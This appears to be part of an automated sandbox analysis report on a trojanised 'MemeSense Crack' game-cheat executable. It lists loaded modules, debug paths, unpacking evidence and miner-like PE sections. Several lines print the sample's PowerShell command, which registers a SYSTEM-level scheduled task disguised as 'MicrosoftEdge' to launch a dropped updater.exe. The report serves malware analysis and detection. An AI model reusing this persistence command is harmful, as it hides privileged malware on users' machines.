Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wlidsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gamestreamingext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msauserext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: tbs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptnet.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elscore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elstrans.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptngc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wbemcomn.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: amsi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: profapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wscapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: urlmon.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: iertutil.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: srvcli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: netutils.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: slc.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sppc.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: apphelp.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: windows.ui.xaml.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: coremessaging.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: iertutil.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: dcomp.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: systemsettings.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: wkscli.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: netutils.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: sspicli.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: propsys.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: mrmcorer.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: d2d1.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: windows.storage.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: wincorlib.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: slc.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: policymanager.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: winlangdb.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: wldp.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: elscore.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: sppc.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: msasn1.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: windows.staterepositorycore.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: windows.ui.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: windowmanagementapi.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: textinputframework.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: inputhost.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: wintypes.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: wintypes.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: ntmarta.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: languageoverlayutil.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: bcp47mrm.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: uxtheme.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: urlmon.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: srvcli.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: dxgi.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: d3d11.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: dxcore.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: dwrite.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: textshaping.dll
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Section loaded: windows.ui.xaml.controls.dll

Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe

File opened: C:\Windows\SYSTEM32\msftedit.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\updater.exe	Directory created: C:\Program Files\Microsoft\Edge			Jump to behavior
Source: C:\Program Files\Microsoft\Edge\updater.exe	Directory created: C:\Program Files\Google\Libs

Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\wctA360.tmp.pdb source: svchost.exe, 00000040.00000000.1973019711.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000040.00000000.1973019711.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb001\* source: svchost.exe, 00000040.00000000.1973019711.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: updater.exe, 0000003D.00000002.2482827777.00007FF6F8E40000.00000004.00000001.01000000.0000000D.sdmp
Source:	Binary string: -HC:\Users\user13\source\repos\Memes3nse\x64\Release\Memes3nse.pdb source: MemeSense Crack.exe, 00000011.00000002.1577959372.0000000000401000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: \Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2AC2 source: svchost.exe, 00000040.00000000.1971405801.0000029D50240000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000040.00000000.1970083973.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000040.00000000.1973019711.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000040.00000000.1970083973.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbll source: svchost.exe, 00000040.00000000.1970083973.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A58318b source: svchost.exe, 00000040.00000000.1971405801.0000029D50240000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.errorSYSTE source: svchost.exe, 00000040.00000000.1968850732.0000029D50213000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: _prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2* source: svchost.exe, 00000040.00000000.1971405801.0000029D50240000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000040.00000000.1970083973.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\wctA360.tmp.pdb\* source: svchost.exe, 00000040.00000000.1973019711.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\acrobat_sbx.pdb source: svchost.exe, 00000040.00000000.1973019711.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000040.00000000.1973019711.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\loader CS2\x64\Release\cli_gui.pdb source: MemeSense Crack.exe, MemeSense Crack.exe, 00000011.00000002.1577959372.000000000059F000.00000020.00000001.01000000.00000006.sdmp, cli_gui.exe, 00000012.00000000.1561598366.00007FF719704000.00000002.00000001.01000000.00000008.sdmp, cli_gui.exe, 00000012.00000002.1743493609.00007FF719704000.00000002.00000001.01000000.00000008.sdmp, cli_gui.exe, 0000005D.00000000.2222936185.00007FF70D634000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\loader CS2\x64\Release\cli_gui.pdb$$ source: MemeSense Crack.exe, 00000011.00000002.1577959372.000000000059F000.00000020.00000001.01000000.00000006.sdmp, cli_gui.exe, 00000012.00000000.1561598366.00007FF719704000.00000002.00000001.01000000.00000008.sdmp, cli_gui.exe, 00000012.00000002.1743493609.00007FF719704000.00000002.00000001.01000000.00000008.sdmp, cli_gui.exe, 0000005D.00000000.2222936185.00007FF70D634000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb* source: svchost.exe, 00000040.00000000.1973019711.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000040.00000000.1971405801.0000029D50240000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user13\source\repos\Memes3nse\x64\Release\Memes3nse.pdb source: MemeSense Crack.exe, MemeSense Crack.exe, 00000011.00000002.1577959372.0000000000401000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000040.00000000.1971405801.0000029D50240000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831-B09 source: svchost.exe, 00000040.00000000.1971405801.0000029D50240000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbll source: svchost.exe, 00000040.00000000.1970083973.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe

Unpacked PE file: 17.2.MemeSense Crack.exe.400000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;.rsrc:EW;Unknown_Section4:EW;.R#JFU$&:EW; vs Unknown_Section0:ER;Unknown_Section1:W;Unknown_Section2:R;.rsrc:EW;Unknown_Section4:EW;.R#JFU$&:EW;

Suspicious powershell command line found

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ztwihm#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }	Jump to behavior
Source: C:\Program Files\Microsoft\Edge\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }
Source: C:\Windows\System32\dialer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ztwihm#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }

Source: jkiahanfoyhg.tmp.20.dr	Static PE information: real checksum: 0x0 should be: 0x342e8
Source: updater.exe.17.dr	Static PE information: real checksum: 0x5cbf95 should be: 0x5c83f9
Source: AC3BF.tmp.17.dr	Static PE information: real checksum: 0x0 should be: 0x1a0ec3
Source: jkiahanfoyhg.tmp.61.dr	Static PE information: real checksum: 0x0 should be: 0x554c2a
Source: cli_gui.exe.17.dr	Static PE information: real checksum: 0x0 should be: 0x12e07
Source: updater.exe.20.dr	Static PE information: real checksum: 0x5cbf95 should be: 0x5c83f9

Source: Google.Widevine.CDM.dll.0.dr	Static PE information: section name: .00cfg
Source: Google.Widevine.CDM.dll.0.dr	Static PE information: section name: .gxfg
Source: Google.Widevine.CDM.dll.0.dr	Static PE information: section name: .retplne
Source: Google.Widevine.CDM.dll.0.dr	Static PE information: section name: .voltbl
Source: Google.Widevine.CDM.dll.0.dr	Static PE information: section name: _RDATA
Source: updater.exe.17.dr	Static PE information: section name: .xdata
Source: updater.exe.20.dr	Static PE information: section name: .xdata
Source: jkiahanfoyhg.tmp.61.dr	Static PE information: section name: _RANDOMX
Source: jkiahanfoyhg.tmp.61.dr	Static PE information: section name: _TEXT_CN
Source: jkiahanfoyhg.tmp.61.dr	Static PE information: section name: _TEXT_CN
Source: jkiahanfoyhg.tmp.61.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C36098 pushad ; ret	17_2_00C360AC
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C36079 pushad ; ret	17_2_00C36096
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C36021 pushad ; ret	17_2_00C36022
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C36025 pushad ; ret	17_2_00C36026
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C3619D pushfd ; ret	17_2_00C3619E
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C3624F pushad ; ret	17_2_00C36252
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C343A0 push 00C34400h; ret	17_2_00C343F8
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C34456 push 00C345A4h; ret	17_2_00C3459C
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C36543 pushfd ; ret	17_2_00C36541
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C36538 pushfd ; ret	17_2_00C36541
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C366EE push ebx; ret	17_2_00C366EF
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C34684 push ecx; mov dword ptr [esp], ecx	17_2_00C34687
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C326A4 push 00C3274Ch; ret	17_2_00C32744
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C3262C push 00C326A2h; ret	17_2_00C3269A
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C3274E push 00C3279Ch; ret	17_2_00C32794
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C348F4 push ecx; mov dword ptr [esp], ecx	17_2_00C348F6
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C42805 push 00C42817h; ret	17_2_00C4280F
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C36947 push 00000069h; ret	17_2_00C3691A
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C22A48 push ecx; mov dword ptr [esp], eax	17_2_00C22A49
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C22CF2 push 00C22D20h; ret	17_2_00C22D18
